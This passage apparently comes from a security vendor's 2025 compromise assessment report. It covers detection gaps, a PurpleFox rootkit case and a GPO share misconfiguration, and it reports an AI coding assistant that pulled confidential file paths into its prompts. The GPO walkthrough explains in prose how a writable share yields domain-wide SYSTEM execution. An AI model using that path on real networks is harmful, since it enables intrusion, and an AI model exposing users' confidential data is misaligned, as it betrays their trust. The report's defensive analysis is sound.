• Known vulnerabilities left unpatched or unmitigated.
Lack of structured threat hunting processes
27.4%
• Low-fidelity alerts were never reexamined after initial dismissal.
• High-volume telemetry remained unchecked due to staffing constraints.
Inadequate security awareness programs
25.6%
• Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified.
• Social engineering attempts were successful because of insufficient user training.
Absence of documented policies/processes
23.9%
• No formal incident response playbooks, change management procedures or data handling guidelines were available.
Common observations on root causes
The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.
Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.
A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:
ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED]
The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.
Lack of detections: Causes and impacts
Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.
Incident severity distribution when detection coverage was insufficient (download)
A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.
Statistics of missed incidents due to lack of detection capability with or without MSSP (download)
The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:
Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.
The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.
Incident severity breakdown where there was no EPP health check or threat intelligence
Missing control
High-severity
Medium-severity
Low-severity
EPP health check
48.3%
36.7%
15%
Threat intelligence feed
50%
40%
10%
Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.
The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.
Case study: In-memory PurpleFox infection evades conventional endpoint protection
During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:
PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.
The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.
The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.
Insufficient vulnerability management: A catalyst for high-severity compromises
In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.
Severity distribution of incidents due to improper vulnerability management (download)
The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.
Case study: How overly permissive GPO-based software distribution goes wrong
During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.
Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:
Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.
Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.
Conclusion
In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.
Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:
Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.
Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.
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